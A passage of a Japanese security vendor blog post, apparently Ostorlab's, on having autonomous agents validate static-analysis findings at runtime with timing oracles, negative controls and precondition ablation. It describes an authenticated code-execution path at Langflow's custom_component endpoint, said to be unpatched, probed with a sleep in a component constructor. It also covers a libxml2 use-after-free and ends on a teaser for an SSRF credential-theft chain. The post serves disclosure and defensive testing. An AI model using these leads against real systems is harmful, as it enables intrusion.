&lt;p&gt;&lt;strong&gt;4. 影響範囲。&lt;/strong&gt;実行時にコードが到達できる範囲は、リポジトリではなくプロセスに依存します。そのユーザーID、環境変数、マウントされたシークレット、ネットワーク上の位置です。コンテナにスコープされた&lt;code&gt;exec()&lt;/code&gt;とrootにスコープされたものは、ソースレベルでは同じ検出結果を生みますが、インシデントとしてはまったく異なるものになります。&lt;/p&gt;
&lt;p&gt;4つのうち3つは、検出結果が誤検知かどうかに関するものではないことに注目してください。誰もが実行時検証を誤検知の削減として位置付けますし、実際にその効果もありますが、より大きな損失は、正しいのに説明が不適切な検出結果です。そうした検出結果はトリアージで棄却されることはありません。誤った優先度で修正されるか、後になって事実ではないとわかる理由で先送りされます。そして誤検知とは違い、インシデントが起きるまで誰もその誤りに気付きません。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="何をもって脆弱性の実証とするか"&gt;何をもって脆弱性の実証とするか&lt;/h2&gt;
&lt;p&gt;「検証済み」はセキュリティレポートで頻繁に使われる言葉ですが、ほとんど何も意味していないことがよくあります。以下は当社が自社の検出結果に課している基準であり、あらゆるセキュリティレポートに適用できる有用な基準でもあります。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;再現可能なアーティファクト&lt;/strong&gt;：他の人が再実行できる形の、正確なリクエスト、ペイロード、または入力ファイル。攻撃を文章で説明したものではありません。143バイトのXMLファイル、ヘッダー付きのHTTPリクエスト、カスタムコンポーネントのソースがこれにあたります。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;オラクル&lt;/strong&gt;：「脆弱性が発火した」ことと「何かが起きた」ことを区別できる、観測可能な何か。ペイロードに直線的に追従するタイミング遅延、AddressSanitizerによるアボート、マーカーファイル、アウトオブバンドのDNSコールバックなどです。オラクルがなければ、得られるのは結果ではなく単なる異常です。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ネガティブコントロール&lt;/strong&gt;：同じリクエストを無害版のペイロード（事例1では、スリープなしのReconコンポーネント）で送り、シグナルが消えることを示すもの。あの表では、0.43秒のベースラインが40.50秒の測定値と同じくらい重要な役割を果たしています。遅いレスポンスをエビデンスに変えるのはベースラインだからです。コントロールを省いた検出結果は、ベンダーからの返答で崩れるものです。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;除去によってテストされた前提条件の特定&lt;/strong&gt;：記載された各要件について、それを取り除くと影響が止まることを示すエビデンス。これはほぼ誰もが省略するステップであり、誰が対応しなければならないかを決めるステップでもあります。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;誠実な境界線&lt;/strong&gt;：何を示し、何を推測したのか。当社のLangflowの検出結果は、制御されたタイミングテストによってコード実行を示しています。認証情報の露出はHTTP 200のレスポンスから推測したものであり、「完全な侵害を実証」と切り上げるのではなく、そのことをレポートに明記しています。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;この5つを満たす検出結果は、エンジニアが調査しなければならないチケットではありません。修正しなければならないチケットです。そしてそのチケットは、独自のリグレッションテストを伴います。パッチ適用後に同じリクエストを再実行し、ベースラインを期待するというテストです。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="自律型エージェントは実際に何を変えるのか"&gt;自律型エージェントは実際に何を変えるのか&lt;/h2&gt;
&lt;p&gt;ここに新しいアイデアは何もありません。どのステップも、シニアのペンテスターがSASTレポートとステージング環境を使って行っていることです。それが標準的な慣行になっていなかった理由は単純な計算です。テスター1人、午後1回、検出結果1件に対し、トリアージのバックログはチームが使える午後の数を上回っているのです。&lt;/p&gt;
&lt;p&gt;自律型エージェントが変えるのは、このループのロジックではなくコストです。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="エージェントのタスクタイムライン：検証中に順番に実行されるread、grep、bash、pythonのステップ" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-22_sast_agent_runtime_validation/agent_task_timeline.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;boxdr;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxdl;
&amp;boxv;                      AUTONOMOUS RUNTIME VALIDATION PIPELINE                            &amp;boxv;
&amp;boxvr;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxvl;
&amp;boxv;  1. Static Pass      &amp;boxh;&amp;boxh;► 2. Hypothesis      &amp;boxh;&amp;boxh;► 3. Design Oracle &amp;amp; Negative Control    &amp;boxv;
&amp;boxv;     (Path to Sink)          (Evidence Criteria)     (Timing / Memory Abort / DNS)      &amp;boxv;
&amp;boxv;                                                              &amp;boxv;                         &amp;boxv;
&amp;boxv;  &amp;boxdr;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxul;                         &amp;boxv;
&amp;boxv;  ▼                                                                                     &amp;boxv;
&amp;boxv;  4. Live System Probe &amp;boxh;&amp;boxh;► 5. Observable Fires?                                         &amp;boxv;
&amp;boxv;                                 &amp;boxv;                                                      &amp;boxv;
&amp;boxv;        &amp;boxdr;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxhu;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxdl;                             &amp;boxv;
&amp;boxv;        ▼ (No)                                            ▼ (Yes)                       &amp;boxv;
&amp;boxv;     Refute &amp;amp; Log Negative Result                      6. Ablate Claimed Preconditions  &amp;boxv;
&amp;boxv;     (Record the result)                                  &amp;boxv;                             &amp;boxv;
&amp;boxv;                                                          ▼                             &amp;boxv;
&amp;boxv;                                                       7. Actionable Proven Finding     &amp;boxv;
&amp;boxv;                                                          (PoC + Regression Test)       &amp;boxv;
&amp;boxur;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxul;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;重要なのは、否定された推測から戻るループであり、多くの自動化が省略している部分でもあります。当社のlibxml2の実行では、トリガー条件に関する最初の3つの推測は誤りでした。そしてそれぞれは、黙って捨てられるのではなく反証されました。4つ目の推測が、初めて持ちこたえたものでした。成功だけを報告するシステムは、脆弱性研究をしているのではありません。何かがクラッシュするまでサンプリングしているだけです。&lt;/p&gt;
&lt;p&gt;ここでエージェントが得意とするのは、限定的で反復的な、しかし現実の作業です。ペイロードのバリエーションを生成すること、タイミングの計算を保持すること、誰も根気が続かない一つずつ取り除く総当たりを実行すること、そして否定的な結果を記録することです。あのlibxml2の実行は、ソースから動作する概念実証（PoC）まで1時間54分で到達し、そのうち6つのバリエーションによるアブレーションの総当たりは約20分でした。&lt;/p&gt;
&lt;p&gt;限界も同じくらい現実的であり、2つ目の事例はそれを当社自身の負担で示しています。&lt;/p&gt;
&lt;p&gt;エージェントは、正しい根本原因と、動作する概念実証と、自信に満ちた誤った前提条件のリストを生成しました。それはでっち上げの回答ではありませんでした。どの主張も、エージェントが見た一つの実行トレースについては正しい記述だったのです。失敗は、一般化をテストせずに単一のトレースから一般化したことにありました。これは既知の失敗パターンであり、パイプラインの設計によって捕捉できるものです。除去によるテストは、最後に行う任意の仕上げのステップではありません。それ以外のすべてを信頼できるものにするステップなのです。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="実行時検証の後、開発者のキューには何が届くのか"&gt;実行時検証の後、開発者のキューには何が届くのか&lt;/h2&gt;
&lt;p&gt;実務上の変化は、開発者のキューに何が届くかに表れます。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;指標&lt;/th&gt;
&lt;th style="text-align: left;"&gt;未実証の検出結果（素のSAST）&lt;/th&gt;
&lt;th style="text-align: left;"&gt;実証済みの検出結果（エージェント型の実行時検証）&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;最初に出る問い&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;em&gt;「これは本物か」&lt;/em&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;em&gt;「サンドボックスか、認証チェックか」&lt;/em&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;誰が時間を使うか&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;セキュリティ、次に開発者、そして再びセキュリティ&lt;/td&gt;
&lt;td style="text-align: left;"&gt;開発者が1回だけ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;チケット内のエビデンス&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ソースの経路、ファイルの行、汎用的なCWE&lt;/td&gt;
&lt;td style="text-align: left;"&gt;実行可能なリクエスト、検証済みのレスポンス、コントロールの実行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;リグレッションテスト&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;後で書かれる、書かれるとすれば&lt;/td&gt;
&lt;td style="text-align: left;"&gt;修正後に再実行される実証アーティファクト&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;重大度スコア&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;コードから論じた理論上の重大度&lt;/td&gt;
&lt;td style="text-align: left;"&gt;デプロイメントと照合して測定した重大度&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;右側の列は、検出結果が開発チームやオープンソースのメンテナーとのやり取りに耐えられるようにするものでもあります。&lt;/p&gt;
&lt;p&gt;「あなたの検証エンドポイントは送信されたコードを実行します」と言えば、設計意図についての議論を招きます。&lt;/p&gt;
&lt;p&gt;「これはコンストラクターが10秒スリープするコンポーネントです。こちらがあなたのサーバーが応答に40.50秒かかっている様子で、こちらがスリープなしの同じリクエストが0.43秒で返ってくる様子です」と言えば、議論は終わります。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="チームはどうすればセキュリティの検出結果をより信頼しやすくできるか"&gt;チームはどうすればセキュリティの検出結果をより信頼しやすくできるか&lt;/h2&gt;
&lt;p&gt;組織がどのようなツールを使っていても、次の3つの慣行によって検出結果の品質はすぐに向上します。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;ネガティブコントロールの実行を必須にする&lt;/strong&gt;：&lt;em&gt;「ペイロードなしでまったく同じリクエストを送ったらどうなったか」&lt;/em&gt;を、重大度の高いすべての検出結果の必須項目にします。かかるのは数秒で、遅いエンドポイント、プロキシのタイムアウト、環境のレイテンシーによる誤検知を取り除けます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;前提条件のリストを未検証の主張として扱う&lt;/strong&gt;：「設定Xが有効なデプロイメントにのみ影響」とする検出結果は、誰かがXを無効にしてプローブを再実行するまでは単なる推測にすぎません。その一文がチームが対応するかどうかを決めるのですから、脆弱性そのものと同じテストを受けるべきです。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;否定的な結果を残す&lt;/strong&gt;：反証された推測は無駄な実行ではありません。次のスキャンが同じアラートを再び上げない理由であり、ツールが推測ではなく推論していることを示す監査証跡でもあります。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr/&gt;
&lt;h2 id="実行時検証がトリアージのキューを変える理由"&gt;実行時検証がトリアージのキューを変える理由&lt;/h2&gt;
&lt;p&gt;静的な検出結果は、答えではなく良い問いです。どこを見るべきかを教えてくれます。バグが本物かどうか、どれくらいの頻度で発火するのか、本当に必要なものは何か、どこまで到達するのかを教えてくれるのは、実行中のシステムだけです。&lt;/p&gt;
&lt;p&gt;2つの事例は、その両面を示しています。Langflowでは、実行時テストが検出結果を確定させ、コードからは誰も読み取れなかった事実、すなわちリクエストあたり4回の実行を付け加えました。libxml2では逆に検出結果を修正し、記載された前提条件の半分が不要であり、バグがレポートの示唆よりもはるかに多くの構成に到達し得ることを示しました。&lt;/p&gt;
&lt;p&gt;どちらの結果にも新しいアイデアは必要ありませんでした。必要だったのは実験です。明確なシグナル、コントロールの実行、そして記載されたすべての条件に対するテストです。この作業は常に可能でしたが、手作業で大規模に行うには常に時間がかかりすぎていました。エージェントは、実行可能なターゲットと観測可能なシグナルを持つすべての検出結果に対してこれを実行できるほど低コストにします。それこそが、「かもしれない」で埋まったノイズの多いキューを、実証済みですぐに修正できるバグの短いリストに変えるのです。&lt;/p&gt;
&lt;p&gt;Ostorlabはこのプロセス全体を一度のパスで実行します。静的解析が候補となる経路を見つけ、&lt;a href="https://ostorlab.co/"&gt;Ostorlab Agentic Deep Scan&lt;/a&gt;がそれらを直接稼働中のインスタンスへと運び、実証を設計し、プローブし、テストします。一つずつ取り除くステップは、動いていないソースコードから前提を引き継ぐのではなく、本当の前提条件のリストを導き出します。ここで取り上げた2つの検出結果は、どちらもこのパイプラインから直接得られたものです。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://report.ostorlab.co/scan/new"&gt;&lt;strong&gt;Agentic Deep Scanを実行する&lt;/strong&gt;&lt;/a&gt;と、静的な検出結果を実証済みですぐに修正できる結果に変えられます。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="よくある質問(faq)"&gt;よくある質問（FAQ）&lt;/h2&gt;
&lt;h3 id="sastと実行時検証の違いは何か"&gt;SASTと実行時検証の違いは何か&lt;/h3&gt;
&lt;p&gt;静的アプリケーションセキュリティテスト（SAST）は、実行されていないソースコードを読み、危険な経路がどこに存在するかを報告します。実行時検証はターゲットを実行し、その経路が実際に発火するか、どの程度深刻か、どのような条件の下でかを確認します。SASTは候補を見つけ、実行時検証は候補を実証に変えるか、棄却します。&lt;/p&gt;
&lt;h3 id="10秒のスリープでlangflowのリクエストが40.50秒かかったのはなぜか"&gt;10秒のスリープでLangflowのリクエストが40.50秒かかったのはなぜか&lt;/h3&gt;
&lt;p&gt;Langflowは1回の検証リクエストの間に、送信されたコンポーネントを約4回生成します。そのため、コンストラクターとその&lt;code&gt;time.sleep(10)&lt;/code&gt;が4回実行されます。10秒のスリープ4回にわずかなオーバーヘッドを加えると、およそ40.5秒になります。同じ4倍のパターンが3秒と5秒でも現れることから、これがネットワークのノイズではなく本物であるとわかります。&lt;/p&gt;
&lt;h3 id="langflowのこのissueはcve-2025-3248と同じか"&gt;LangflowのこのissueはCVE-2025-3248と同じか&lt;/h3&gt;
&lt;p&gt;同じではありませんが、近い関係にあります。CVE-2025-3248は&lt;code&gt;/api/v1/validate/code&lt;/code&gt;における認証不要のコードインジェクションで、1.3.0で修正されました。ここで扱う経路は、&lt;code&gt;/api/v1/custom_component&lt;/code&gt;上の認証済み版の兄弟です。根底にある設計上の判断は同じで、入口が違うだけです。認証不要のものは1.3.0で修正されましたが、認証済みのものは当社がテストした時点でv1.7.3でも開いたままでした。当社は2026年3月9日にLangflowのメンテナーに報告しました（アドバイザリGHSA-8xrc-2jr4-78j7）。執筆時点では、パッチもCVEもありませんでした。&lt;/p&gt;
&lt;h3 id="タイミングオラクルとは何か、なぜ信頼できるのか"&gt;タイミングオラクルとは何か、なぜ信頼できるのか&lt;/h3&gt;
&lt;p&gt;タイミングオラクルとは、サーバーに測定可能で予測可能な追加時間をかけさせることだけを目的としたペイロードで、ここではコンストラクター内の&lt;code&gt;sleep&lt;/code&gt;がそれにあたります。信頼できるのは、ネガティブコントロール（スリープなしの同じリクエストは0.43秒で返る）と線形のレスポンス（3秒、5秒、10秒のいずれも同じ倍率でスケールする）を伴っているからです。この2つが揃うことで、偶然やネットワークのジッターの可能性が排除されます。&lt;/p&gt;
&lt;h3 id="前提条件における「除去によるテスト」(アブレーション)とは何を意味するか"&gt;前提条件における「除去によるテスト」（アブレーション）とは何を意味するか&lt;/h3&gt;
&lt;p&gt;記載された要件を一つ取り除き、テストを再実行することを意味します。それでもバグが発火するなら、その要件はそもそも必要なかったということです。libxml2の事例では、記載された6つの条件のうち3つが任意であることが判明し、バグはデフォルトのパーサー設定で発火しました（注入された割り当て失敗は依然として必要です）。これは元のレポートが示唆していたこととは正反対です。&lt;/p&gt;
&lt;h3 id="実行時検証はsastに取って代わるのか"&gt;実行時検証はSASTに取って代わるのか&lt;/h3&gt;
&lt;p&gt;いいえ。実行時検証はSASTの上に重ねるものです。SASTは、コードベース全体にわたって候補となる経路を高速かつ網羅的に見つけます。実行時検証は、それらの候補のうちどれが本物かを実証し、正しく記述するものです。両方が必要です。&lt;/p&gt;
&lt;h3 id="これらのテストは実際の本番システムに対して実行されたのか"&gt;これらのテストは実際の本番システムに対して実行されたのか&lt;/h3&gt;
&lt;p&gt;いいえ。どちらの検出結果も、当社が構築・管理するラボとテスト用のターゲットに対して検証しました。本記事の要点は手法であり、他者のシステムへのアクセスではありません。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="出典と参考文献"&gt;出典と参考文献&lt;/h2&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;出典&lt;/th&gt;
&lt;th style="text-align: left;"&gt;参考文献と背景&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Langflowプロジェクトのリポジトリ&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://github.com/langflow-ai/langflow"&gt;github.com/langflow-ai/langflow&lt;/a&gt;：カスタムPythonコンポーネントのアーキテクチャと検証エンドポイント。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;CVE-2025-3248&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2025-3248"&gt;NVD: CVE-2025-3248&lt;/a&gt;：&lt;code&gt;/api/v1/validate/code&lt;/code&gt;における認証不要のコードインジェクション。1.3.0より前のLangflowバージョンが対象。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;libxml2のCVE-2022-23308の修正&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://github.com/GNOME/libxml2/commit/652dd12a858989b14eed4e84e453059cd3ba340e"&gt;GNOME libxml2 commit 652dd12&lt;/a&gt;：IDおよびIDREF属性の解放後使用であるCVE-2022-23308に対するアップストリームの修正（2022年2月）。IDテーブルの処理を作り直したことで、前述のエイリアシング経路が到達可能なまま残された。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;AIペンテストの信頼性とエビデンス&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://blog.ostorlab.co/can-you-trust-ai-pentesting-results.html"&gt;Ostorlab: AI Can Run the Attack. Can You Trust the Result?&lt;/a&gt;：自律型エージェントに求める最低限のエビデンス水準と検証制御。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;自律型ペンテストのスコープ逸脱&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://blog.ostorlab.co/post-mortem-autonomous-ai-scope-drift-containment.html"&gt;Ostorlab: Post-Mortem: Why Autonomous AI Agents Escape Scope&lt;/a&gt;：封じ込めのアーキテクチャと運用上のガードレール。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;script type="application/ld+json"&gt;
{
  "@context": "https://schema.org",
  "@type": "FAQPage",
  "mainEntity": [
    {
      "@type": "Question",
      "name": "SASTと実行時検証の違いは何か",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "静的アプリケーションセキュリティテスト（SAST）は、実行されていないソースコードを読み、危険な経路がどこに存在するかを報告します。実行時検証はターゲットを実行し、その経路が実際に発火するか、どの程度深刻か、どのような条件の下でかを確認します。SASTは候補を見つけ、実行時検証は候補を実証に変えるか、棄却します。"
      }
    },
    {
      "@type": "Question",
      "name": "10秒のスリープでLangflowのリクエストが40.50秒かかったのはなぜか",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "Langflowは1回の検証リクエストの間に、送信されたコンポーネントを約4回生成します。そのため、コンストラクターとそのtime.sleep(10)が4回実行されます。10秒のスリープ4回にわずかなオーバーヘッドを加えると、およそ40.5秒になります。同じ4倍のパターンが3秒と5秒でも現れることから、これがネットワークのノイズではなく本物であるとわかります。"
      }
    },
    {
      "@type": "Question",
      "name": "LangflowのこのissueはCVE-2025-3248と同じか",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "同じではありませんが、近い関係にあります。CVE-2025-3248は/api/v1/validate/codeにおける認証不要のコードインジェクションで、1.3.0で修正されました。ここで扱う経路は、/api/v1/custom_component上の認証済み版の兄弟です。根底にある設計上の判断は同じで、入口が違うだけです。認証不要のものは1.3.0で修正されましたが、認証済みのものは当社がテストした時点でv1.7.3でも開いたままでした。当社は2026年3月9日にLangflowのメンテナーに報告しました（アドバイザリGHSA-8xrc-2jr4-78j7）。執筆時点では、パッチもCVEもありませんでした。"
      }
    },
    {
      "@type": "Question",
      "name": "タイミングオラクルとは何か、なぜ信頼できるのか",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "タイミングオラクルとは、サーバーに測定可能で予測可能な追加時間をかけさせることだけを目的としたペイロードで、ここではコンストラクター内のsleepがそれにあたります。信頼できるのは、ネガティブコントロール（スリープなしの同じリクエストは0.43秒で返る）と線形のレスポンス（3秒、5秒、10秒のいずれも同じ倍率でスケールする）を伴っているからです。この2つが揃うことで、偶然やネットワークのジッターの可能性が排除されます。"
      }
    },
    {
      "@type": "Question",
      "name": "前提条件における「除去によるテスト」（アブレーション）とは何を意味するか",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "記載された要件を一つ取り除き、テストを再実行することを意味します。それでもバグが発火するなら、その要件はそもそも必要なかったということです。libxml2の事例では、記載された6つの条件のうち3つが任意であることが判明し、バグはデフォルトのパーサー設定で発火しました（注入された割り当て失敗は依然として必要です）。これは元のレポートが示唆していたこととは正反対です。"
      }
    },
    {
      "@type": "Question",
      "name": "実行時検証はSASTに取って代わるのか",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "いいえ。実行時検証はSASTの上に重ねるものです。SASTは、コードベース全体にわたって候補となる経路を高速かつ網羅的に見つけます。実行時検証は、それらの候補のうちどれが本物かを実証し、正しく記述するものです。両方が必要です。"
      }
    },
    {
      "@type": "Question",
      "name": "これらのテストは実際の本番システムに対して実行されたのか",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "いいえ。どちらの検出結果も、当社が構築・管理するラボとテスト用のターゲットに対して検証しました。本記事の要点は手法であり、他者のシステムへのアクセスではありません。"
      }
    }
  ]
}
&lt;/script&gt;</content><category term="Security"/><category term="SAST"/><category term="DAST"/><category term="Agentic AI"/><category term="Autonomous Pentesting"/><category term="AppSec"/><category term="Vulnerability Research"/><category term="Langflow"/><category term="libxml2"/><category term="Timing Oracle"/></entry><entry><title>地図と窓：エージェント型スキャンがドキュメントの漏えいを認証情報の窃取へとつなげた方法</title><link href="https://blog.ostorlab.co/ja/the-map-and-the-window-agentic-scan-cross-layer-attack-path.html" rel="alternate"/><published>2026-09-23T10:00:00+02:00</published><updated>2026-09-23T10:00:00+02:00</updated><author><name>Aziz Elbelaychy</name></author><id>tag:blog.ostorlab.co,2026-09-23:/ja/the-map-and-the-window-agentic-scan-cross-layer-attack-path.html</id><summary type="html">&lt;p&gt;OstorlabのAgentic Deep Scanが、重大度「中」のOpenAPI仕様の露出とSSRFの脆弱性を連鎖させ、ループバック制限をバイパスしてデータベースの認証情報を抽出した過程を紹介します。&lt;/p&gt;</summary><content type="html">&lt;p&gt;Ostorlab Agentic Deep 